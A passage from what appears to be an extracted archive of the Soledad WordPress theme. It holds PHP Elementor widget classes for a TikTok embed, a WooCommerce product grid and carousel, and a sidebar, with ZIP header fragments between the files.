		$this->add_control( 'tiktok_u_hcolor', array(
			'label'     => __( 'Username Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} section a:hover' => 'color: {{VALUE}};',
			)
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();
		$username = $settings['username'] ? $settings['username'] : '';
		?>
        <div class="pc-tiktok-embed-feed-el">
			<?php
			$this->markup_block_title( $settings, $this );
			if ( $username ) {
				?>
                <blockquote class="tiktok-embed" cite="https://www.tiktok.com/@<?php echo esc_attr( $username ); ?>"
                            data-unique-id="<?php echo esc_attr( $username ); ?>"
                            data-embed-type="creator"
                            style="width: 100%;">
                    <section><a target="_blank"
                                href="https://www.tiktok.com/@<?php echo esc_attr( $username ); ?>">@<?php echo esc_attr( $username ); ?></a>
                    </section>
                </blockquote>
				<?php
			} else {
				_e( 'Please enter your Tiktok username', 'soledad' );
			}
			?>
        </div>
		<?php
	}
}
PK     N\P    .  inc/elementor/modules/penci-product/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProduct;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci_product';
	}

	public function get_widgets() {
		return array( 'PenciProduct' );
	}
}
PK     N\q7HX  X  =  inc/elementor/modules/penci-product/widgets/penci-product.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProduct\Widgets;

use Elementor\Controls_Manager;
use PenciSoledadElementor\Base\Base_Widget;


if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

/**
 * Elementor widget that inserts an embeddable content into the page, from any given URL.
 *
 * @since 1.0.0
 */
class PenciProduct extends Base_Widget {
	/**
	 * Get widget name.
	 *
	 * @return string Widget name.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_name() {
		return 'penci_products';
	}

	/**
	 * Get widget title.
	 *
	 * @return string Widget title.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Products', 'soledad' );
	}

	/**
	 * Get widget icon.
	 *
	 * @return string Widget icon.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_icon() {
		return 'eicon-products';
	}

	/**
	 * Get widget categories.
	 *
	 * @return array Widget categories.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	/**
	 * Register the widget controls.
	 *
	 * @since 1.0.0
	 * @access protected
	 */
	protected function register_controls() {
		/**
		 * Content tab.
		 */

		/**
		 * General settings.
		 */
		$this->start_controls_section( 'general_content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
		] );

		$this->add_control( 'post_type', [
			'label'       => esc_html__( 'Data source', 'soledad' ),
			'description' => esc_html__( 'Select content type for your grid.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => 'product',
			'options'     => array(
				'product'            => esc_html__( 'All Products', 'soledad' ),
				'featured'           => esc_html__( 'Featured Products', 'soledad' ),
				'sale'               => esc_html__( 'Sale Products', 'soledad' ),
				'new'                => esc_html__( 'Products with NEW label', 'soledad' ),
				'bestselling'        => esc_html__( 'Bestsellers', 'soledad' ),
				'ids'                => esc_html__( 'List of IDs', 'soledad' ),
				'top_rated_products' => esc_html__( 'Top Rated Products', 'soledad' ),
				'recent_viewed'      => esc_html__( 'Recent Viewed Products', 'soledad' ),
			),
		] );

		$this->add_control( 'include', [
			'label'       => esc_html__( 'Include only', 'soledad' ),
			'description' => esc_html__( 'Add products by title.', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_posts_by_query',
			'render'      => 'penci_get_posts_title_by_id',
			'post_type'   => 'product',
			'multiple'    => true,
			'label_block' => true,
			'condition'   => [
				'post_type' => 'ids',
			],
		] );

		$this->add_control( 'taxonomies', [
			'label'       => esc_html__( 'Categories or tags', 'soledad' ),
			'description' => esc_html__( 'List of product categories.', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => array_merge( [ 'product_cat', 'product_tag' ], $this->get_product_attributes_array() ),
			'multiple'    => true,
			'label_block' => true,
			'condition'   => [
				'post_type!' => 'ids',
			],
		] );

		$this->add_control( 'orderby', [
			'label'       => esc_html__( 'Order by', 'soledad' ),
			'description' => esc_html__( 'Select order type. If "Meta value" or "Meta value Number" is chosen then meta key is required.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => '',
			'options'     => array(
				''               => '',
				'date'           => esc_html__( 'Date', 'soledad' ),
				'id'             => esc_html__( 'ID', 'soledad' ),
				'author'         => esc_html__( 'Author', 'soledad' ),
				'title'          => esc_html__( 'Title', 'soledad' ),
				'modified'       => esc_html__( 'Last modified date', 'soledad' ),
				'comment_count'  => esc_html__( 'Number of comments', 'soledad' ),
				'menu_order'     => esc_html__( 'Menu order', 'soledad' ),
				'meta_value'     => esc_html__( 'Meta value', 'soledad' ),
				'meta_value_num' => esc_html__( 'Meta value number', 'soledad' ),
				'rand'           => esc_html__( 'Random order', 'soledad' ),
				'price'          => esc_html__( 'Price', 'soledad' ),
			),
		] );

		$this->add_control( 'offset', [
			'label'       => esc_html__( 'Offset', 'soledad' ),
			'description' => esc_html__( 'Number of grid elements to displace or pass over.', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'condition'   => [
				'post_type!' => 'ids',
			],
		] );

		$this->add_control( 'query_type', [
			'label'   => esc_html__( 'Query type', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'OR',
			'options' => array(
				'OR'  => esc_html__( 'OR', 'soledad' ),
				'AND' => esc_html__( 'AND', 'soledad' ),
			),
		] );

		$this->add_control( 'order', [
			'label'       => esc_html__( 'Sort order', 'soledad' ),
			'description' => 'Designates the ascending or descending order. More at <a href="http://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters" target="_blank">WordPress codex page</a>.',
			'type'        => Controls_Manager::SELECT,
			'default'     => '',
			'options'     => array(
				''     => esc_html__( 'Inherit', 'soledad' ),
				'DESC' => esc_html__( 'Descending', 'soledad' ),
				'ASC'  => esc_html__( 'Ascending', 'soledad' ),
			),
			'condition'   => [
				'post_type!' => 'ids',
			],
		] );

		$this->add_control( 'meta_key', [
			'label'       => esc_html__( 'Meta key', 'soledad' ),
			'description' => esc_html__( 'Input meta key for grid ordering.', 'soledad' ),
			'type'        => Controls_Manager::TEXTAREA,
			'condition'   => [
				'orderby' => [ 'meta_value', 'meta_value_num' ],
			],
		] );

		$this->add_control( 'exclude', [
			'label'       => esc_html__( 'Exclude', 'soledad' ),
			'description' => esc_html__( 'Exclude posts, pages, etc. by title.', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_posts_by_query',
			'render'      => 'penci_get_posts_title_by_id',
			'post_type'   => 'product',
			'multiple'    => true,
			'label_block' => true,
			'condition'   => [
				'post_type!' => 'ids',
			],
		] );

		$this->end_controls_section();

		/**
		 * Title settings.
		 */

		$this->register_block_title_section_controls();

		/**
		 * Layout settings.
		 */
		$this->start_controls_section( 'layout_style_section', [
			'label' => esc_html__( 'Layout', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'layout', [
			'label'   => esc_html__( 'Products Display', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'grid',
			'options' => array(
				'grid'     => esc_html__( 'Grid', 'soledad' ),
				'list'     => esc_html__( 'List', 'soledad' ),
				'carousel' => esc_html__( 'Carousel', 'soledad' ),
			),
		] );

		$this->add_control( 'product_horizontal_spacing', [
			'label'      => esc_html__( 'Horizontal space between items', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => '',
			'range'      => [
				'px' => [
					'min'  => 0,
					'max'  => 100,
					'step' => 1,
				],
			],
			'condition'  => [
				'layout' => [ 'grid', 'carousel' ],
			],
			'selectors'  => [
				'{{WRAPPER}} .product-layout-grid ul.products'            => 'margin-left: -{{SIZE}}{{UNIT}}!important;margin-right: -{{SIZE}}{{UNIT}} !important;',
				'{{WRAPPER}} .product-layout-grid ul.products li.product' => 'padding-left: {{SIZE}}{{UNIT}}!important;padding-right: {{SIZE}}{{UNIT}} !important;',
			],
		] );

		$this->add_responsive_control( 'product_vertical_spacing', [
			'label'      => esc_html__( 'Vertical space between items', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => '',
			'range'      => [
				'px' => [
					'min'  => 0,
					'max'  => 100,
					'step' => 1,
				],
			],
			'condition'  => [
				'layout' => [ 'grid', 'list' ],
			],
			'selectors'  => [
				'{{WRAPPER}} .product-layout-grid ul.products li.product'                                                                                                                                                                           => 'margin-bottom: {{SIZE}}px;',
				'{{WRAPPER}} .products.product-list .penci-soledad-product .penci-product-loop-inner-content'                                                                                                                                       => 'margin-bottom: {{SIZE}}px;padding-bottom: {{SIZE}}px;',
				'{{WRAPPER}} .penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers,{{WRAPPER}} .penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.next.page-numbers' => 'margin-top: calc( -25px - {{SIZE}}px );',
			],
		] );

		$this->add_responsive_control( 'columns', [
			'label'       => esc_html__( 'Columns', 'soledad' ),
			'description' => esc_html__( 'Number of columns in the grid.', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => [
				'size' => 4,
			],
			'size_units'  => '',
			'range'       => [
				'px' => [
					'min'  => 1,
					'max'  => 6,
					'step' => 1,
				],
			],
			'condition'   => [
				'layout' => 'grid',
			],
			'selectors'  => [
				'{{WRAPPER}} .product-layout-grid ul.products li.product'  => 'width: calc(100%/{{SIZE}});',
			],
		] );

		$this->add_control( 'items_per_page', [
			'label'       => esc_html__( 'Items per page', 'soledad' ),
			'description' => esc_html__( 'Number of items to show per page.', 'soledad' ),
			'default'     => 12,
			'type'        => Controls_Manager::NUMBER,
		] );

		$this->add_control( 'pagination', [
			'label'     => esc_html__( 'Pagination', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''              => esc_html__( 'Inherit', 'soledad' ),
				'loadmore'      => esc_html__( 'Load more button', 'soledad' ),
				'infinit'       => esc_html__( 'Infinit scrolling', 'soledad' ),
				'links'         => esc_html__( 'Links', 'soledad' ),
				'next_previous' => esc_html__( 'Next/Previous', 'soledad' ),
				'none'          => esc_html__( 'Hidden', 'soledad' ),
			),
			'condition' => [
				'layout!' => 'carousel',
			],
		] );

		$this->add_responsive_control( 'pagination_spacing', [
			'label'      => esc_html__( 'Pagination Spacing', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-pagination, {{WRAPPER}} nav.woocommerce-pagination' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
			'condition'  => [
				'pagination!' => 'none',
			],
		] );

		$this->end_controls_section();

		/**
		 * Carousel settings.
		 */
		$this->start_controls_section( 'carousel_style_section', [
			'label'     => esc_html__( 'Carousel', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => [
				'layout' => 'carousel',
			],
		] );

		$this->add_responsive_control( 'slides_per_view', [
			'label'       => esc_html__( 'Slides per view', 'soledad' ),
			'description' => esc_html__( 'Set numbers of slides you want to display at the same time on slider\'s container for carousel mode.', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => [
				'size' => 3,
			],
			'size_units'  => '',
			'range'       => [
				'px' => [
					'min'  => 1,
					'max'  => 8,
					'step' => 1,
				],
			],
		] );

		$this->add_control( 'scroll_per_page', [
			'label'        => esc_html__( 'Scroll per page', 'soledad' ),
			'description'  => esc_html__( 'Scroll per page not per item. This affect next/prev buttons and mouse/touch dragging.', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => 'false',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'true',
		] );

		$this->add_control( 'hide_pagination_control', [
			'label'        => esc_html__( 'Hide pagination control', 'soledad' ),
			'description'  => esc_html__( 'If "YES" pagination control will be removed.', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => 'true',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'false',
		] );

		$this->add_control( 'hide_prev_next_buttons', [
			'label'        => esc_html__( 'Hide prev/next buttons', 'soledad' ),
			'description'  => esc_html__( 'If "YES" prev/next control will be removed', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => 'true',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'false',
		] );

		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Slider Effect', 'soledad' ),
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control( 'wrap', [
			'label'        => esc_html__( 'Slider loop', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => 'true',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'false',
		] );

		$this->add_control( 'autoplay', [
			'label'        => esc_html__( 'Slider autoplay', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => 'false',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'true',
		] );

		$this->add_control( 'speed', [
			'label'       => esc_html__( 'Slider speed', 'soledad' ),
			'description' => esc_html__( 'Duration of animation between slides (in ms)', 'soledad' ),
			'default'     => '5000',
			'type'        => Controls_Manager::NUMBER,
			'condition'   => [
				'autoplay' => 'yes',
			],
		] );

		$this->add_control( 'scroll_carousel_init', [
			'label'        => esc_html__( 'Init carousel on scroll', 'soledad' ),
			'description'  => esc_html__( 'This option allows you to init carousel script only when visitor scroll the page to the slider. Useful for performance optimization.\'', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => 'true',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'false',
		] );

		$this->end_controls_section();

		/**
		 * Products design settings.
		 */
		$this->start_controls_section( 'products_design_style_section', [
			'label' => esc_html__( 'Products Design', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'product_style', [
			'label'     => esc_html__( 'Products Style', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''         => esc_html__( 'Inherit from the Theme Settings', 'soledad' ),
				'standard' => 'Default',
				'style-1'  => 'Style 1',
				'style-2'  => 'Style 2',
				'style-3'  => 'Style 3',
				'style-4'  => 'Style 4',
				'style-5'  => 'Style 5',
				'style-6'  => 'Style 6',
				'style-7'  => 'Style 7',
			),
			'condition' => [
				'layout!' => 'list',
			],
		] );

		$this->add_control( 'icon_style', [
			'label'   => esc_html__( 'Icon Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''      => esc_html__( 'Inherit from the Theme Settings', 'soledad' ),
				'round' => 'Separate Round',
				'group' => 'Group in Rectangle',
			),
		] );

		$this->add_control( 'icon_position', [
			'label'   => esc_html__( 'Icon Position', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''              => esc_html__( 'Inherit from the Theme Settings', 'soledad' ),
				'top-left'      => 'Top left',
				'top-right'     => 'Top Right',
				'bottom-left'   => 'Bottom Left',
				'bottom-right'  => 'Bottom Right',
				'center-top'    => 'Center Top',
				'center-center' => 'Center Center',
				'center-bottom' => 'Center Bottom',
			),
		] );

		$this->add_control( 'icon_animation', [
			'label'   => esc_html__( 'Icon Animation', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''            => esc_html__( 'Inherit from the Theme Settings', 'soledad' ),
				'move-left'   => 'Move to left',
				'move-right'  => 'Move to Right',
				'move-top'    => 'Move to Top',
				'move-bottom' => 'Move to Bottom',
				'fade'        => 'Fade In',
				'zoom'        => 'Zoom In',
			),
		] );

		$this->add_control( 'img_size', [
			'label'   => esc_html__( 'Image size', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'woocommerce_thumbnail',
			'options' => $this->get_list_image_sizes( true ),
		] );

		$this->add_control( 'img_size_custom', [
			'label'       => esc_html__( 'Image dimension', 'soledad' ),
			'type'        => Controls_Manager::IMAGE_DIMENSIONS,
			'description' => esc_html__( 'You can crop the original image size to any custom size. You can also set a single value for height or width in order to keep the original size ratio.', 'soledad' ),
			'condition'   => [
				'img_size' => 'custom',
			],
		] );

		$this->add_control( 'stock_progress_bar', [
			'label'        => esc_html__( 'Stock progress bar', 'soledad' ),
			'description'  => esc_html__( 'Display a number of sold and in stock products as a progress bar.', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => '0',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => '1',
		] );

		$this->add_control( 'product_categories', [
			'label'        => esc_html__( 'Show Product Categories', 'soledad' ),
			'description'  => esc_html__( 'Display a product categories list under product title.', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => '0',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => '1',
		] );

		$this->add_control( 'product_rating', [
			'label'        => esc_html__( 'Show Product Rating', 'soledad' ),
			'description'  => esc_html__( 'Display a product star rating under product title.', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => '0',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => '1',
		] );

		$this->add_control( 'product_label_hot', [
			'label'        => esc_html__( 'Hidden Hot Label', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => '0',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'none',
			'selectors'    => [
				'{{WRAPPER}} .penci-soledad-product .product-labels .product-label.featured' => 'display:{{VALUE}}',
			],
		] );

		$this->add_control( 'product_label_new', [
			'label'        => esc_html__( 'Hidden New Label', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => '0',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'none',
			'selectors'    => [
				'{{WRAPPER}} .penci-soledad-product .product-labels .product-label.new' => 'display:{{VALUE}}',
			],
		] );

		$this->add_control( 'product_label_sale', [
			'label'        => esc_html__( 'Hidden Sale Label', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => '0',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'none',
			'selectors'    => [
				'{{WRAPPER}} .penci-soledad-product .product-labels .product-label.onsale' => 'display:{{VALUE}}',
			],
		] );

		$this->end_controls_section();

		/**
		 * Products design settings.
		 */
		$this->register_product_style();
		$this->register_block_title_style_section_controls();
	}

	/**
	 * Get attribute taxonomies
	 *
	 * @since 1.0.0
	 */
	public function get_product_attributes_array() {
		$attributes = [];

		if ( function_exists( 'wc_get_attribute_taxonomies' ) ) {
			foreach ( wc_get_attribute_taxonomies() as $attribute ) {
				$attributes[] = 'pa_' . $attribute->attribute_name;
			}
		}

		return $attributes;
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	/**
	 * Render the widget output on the frontend.
	 *
	 * Written in PHP and used to generate the final HTML.
	 *
	 * @since 1.0.0
	 *
	 * @access protected
	 */
	protected function render() {
		$settings = $this->get_settings();
		$this->markup_block_title( $settings, $this );
		penci_elementor_products_template( $this->get_settings_for_display(), true );
	}
}
PK     N\FrA    .  inc/elementor/modules/penci-sidebar/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciSidebar;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-sidebar';
	}

	public function get_widgets() {
		return array( 'PenciSidebar' );
	}
}
PK     N\?      =  inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciSidebar\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciSidebar extends Base_Widget {

	public function get_name() {
		return 'penci-sidebar';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Sidebar', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-sidebar';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'Sidebar' );
	}

	protected function register_controls() {
		

		// Section layout
		$this->start_controls_section(
			'section_page', array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'penci_sidebar', array(
				'label'   => __( 'Sidebar to Display', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'main-sidebar',
				'options' => \Penci_Custom_Sidebar::get_list_sidebar_el()
			)
		);
		$this->add_control(
			'penci_htitle_layout', array(
				'label'   => __( 'Select Sidebar Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''                  => esc_html__( 'Default( follow Customize )', 'soledad' ),
					'pcsb-boxed-none'   => esc_html__( 'No Boxed', 'soledad' ),
					'pcsb-boxed-whole'  => esc_html__( 'Boxed Whole Sidebar', 'soledad' ),
					'pcsb-boxed-widget' => esc_html__( 'Boxed Widgets on Sidebar', 'soledad' )
				)
			)
		);
		$this->add_control(
			'penci_htitle_style', array(
				'label'   => __( 'Sidebar Widget Heading Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''                  => esc_html__( 'Default( follow Customize )', 'soledad' ),
					'style-1'           => esc_html__( 'Style 1', 'soledad' ),
					'style-2'           => esc_html__( 'Style 2', 'soledad' ),
					'style-3'           => esc_html__( 'Style 3', 'soledad' ),
					'style-4'           => esc_html__( 'Style 4', 'soledad' ),
					'style-5'           => esc_html__( 'Style 5', 'soledad' ),
					'style-6'           => esc_html__( 'Style 6 - Only Text', 'soledad' ),
					'style-7'           => esc_html__( 'Style 7', 'soledad' ),
					'style-9'           => esc_html__( 'Style 8', 'soledad' ),
					'style-8'           => esc_html__( 'Style 9', 'soledad' ),
					'style-10'          => esc_html__( 'Style 10', 'soledad' ),
					'style-11'          => esc_html__( 'Style 11', 'soledad' ),
					'style-12'          => esc_html__( 'Style 12', 'soledad' ),
					'style-13'          => esc_html__( 'Style 13', 'soledad' ),
					'style-14'          => esc_html__( 'Style 14', 'soledad' ),
					'style-15'          => esc_html__( 'Style 15', 'soledad' ),
					'style-16'          => esc_html__( 'Style 16', 'soledad' ),
					'style-2 style-17'  => esc_html__( 'Style 17', 'soledad' ),
					'style-18'          => esc_html__( 'Style 18', 'soledad' ),
					'style-18 style-19' => esc_html__( 'Style 19', 'soledad' ),
					'style-18 style-20' => esc_html__( 'Style 20', 'soledad' ),
					'style-21'          => __( 'Style 21', 'soledad' ),
					'style-22'          => __( 'Style 22', 'soledad' ),
					'style-23'          => __( 'Style 23', 'soledad' ),
					'style-24'          => __( 'Style 24', 'soledad' ),
					'style-25'          => __( 'Style 25', 'soledad' ),
					'style-26'          => __( 'Style 26', 'soledad' ),
					'style-27'          => __( 'Style 27', 'soledad' ),
					'style-28'          => __( 'Style 28', 'soledad' ),
					'style-29'          => __( 'Style 29', 'soledad' ),
					'style-30'          => __( 'Style 30', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'penci_htitle_align', array(
				'label'   => __( 'Sidebar Widget Heading Align', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''               => esc_html__( 'Default( follow Customize )', 'soledad' ),
					'pcalign-left'   => esc_html__( 'Left', 'soledad' ),
					'pcalign-center' => esc_html__( 'Center', 'soledad' ),
					'pcalign-right'  => esc_html__( 'Right', 'soledad' )
				)
			)
		);

		$this->add_control(
			'penci_htitle_iconpo', array(
				'label'     => __( 'Align Icon on Style 15', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => array(
					''              => esc_html__( 'Default( follow Customize )', 'soledad' ),
					'pciconp-right' => esc_html__( 'Right', 'soledad' ),
					'pciconp-left'  => esc_html__( 'Left', 'soledad' ),
				),
				'condition' => array( 'penci_htitle_style' => 'style-15' ),
			)
		);

		$this->add_control(
			'penci_htitle_icon', array(
				'label'     => __( 'Custom Icon on Style 15', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => array(
					''             => esc_html__( 'Default( follow Customize )', 'soledad' ),
					'pcicon-right' => esc_html__( 'Arrow Right', 'soledad' ),
					'pcicon-left'  => esc_html__( 'Arrow Left', 'soledad' ),
					'pcicon-down'  => esc_html__( 'Arrow Down', 'soledad' ),
					'pcicon-up'    => esc_html__( 'Arrow Up', 'soledad' ),
					'pcicon-star'  => esc_html__( 'Star', 'soledad' ),
					'pcicon-bars'  => esc_html__( 'Bars', 'soledad' ),
					'pcicon-file'  => esc_html__( 'File', 'soledad' ),
					'pcicon-fire'  => esc_html__( 'Fire', 'soledad' ),
					'pcicon-book'  => esc_html__( 'Book', 'soledad' ),
				),
				'condition' => array( 'penci_htitle_style' => 'style-15' ),
			)
		);

		$this->end_controls_section();
	}

	protected function render() {
		$settings = $this->get_settings();

		$heading_title       = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
		$heading_align       = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';
		$sidebar_style       = get_theme_mod( 'penci_sidebar_style' ) ? get_theme_mod( 'penci_sidebar_style' ) : '';
		$sidebar_icon_pos    = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
		$sidebar_icon_design = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';

		$sidebar  = $settings['penci_sidebar'] ? $settings['penci_sidebar'] : 'main-sidebar';
		$style    = $settings['penci_htitle_style'] ? $settings['penci_htitle_style'] : $heading_title;
		$align    = $settings['penci_htitle_align'] ? $settings['penci_htitle_align'] : $heading_align;
		$layout   = $settings['penci_htitle_layout'] ? $settings['penci_htitle_layout'] : $sidebar_style;
		$icon_pos = $settings['penci_htitle_iconpo'] ? $settings['penci_htitle_iconpo'] : $sidebar_icon_pos;
		$icon     = $settings['penci_htitle_icon'] ? $settings['penci_htitle_icon'] : $sidebar_icon_design;

		if ( ! isset( $sidebar ) ): $sidebar = 'main-sidebar'; endif;
		if ( ! isset( $style ) ): $style = 'style-1'; endif;
		if ( ! in_array( $align, array(
			'pcalign-center',
			'pcalign-left',
			'pcalign-right'
		) ) ): $align = 'pcalign-center'; endif;
		?>

        <div id="sidebar"
             class="penci-sidebar-content penci-sidebar-content-vc <?php echo esc_attr( $style . ' ' . $align . ' ' . $layout . ' ' . $icon_pos . ' ' . $icon ); ?>">
            <div class="theiaStickySidebar">
				<?php
				if ( is_active_sidebar( $sidebar ) ) {
					dynamic_sidebar( $sidebar );
				} else {
					dynamic_sidebar( 'main-sidebar' );
				}
				?>
            </div>
        </div>

		<?php
	}
}
PK     N\M    0  inc/elementor/modules/penci-open-hour/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciOpenHour;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
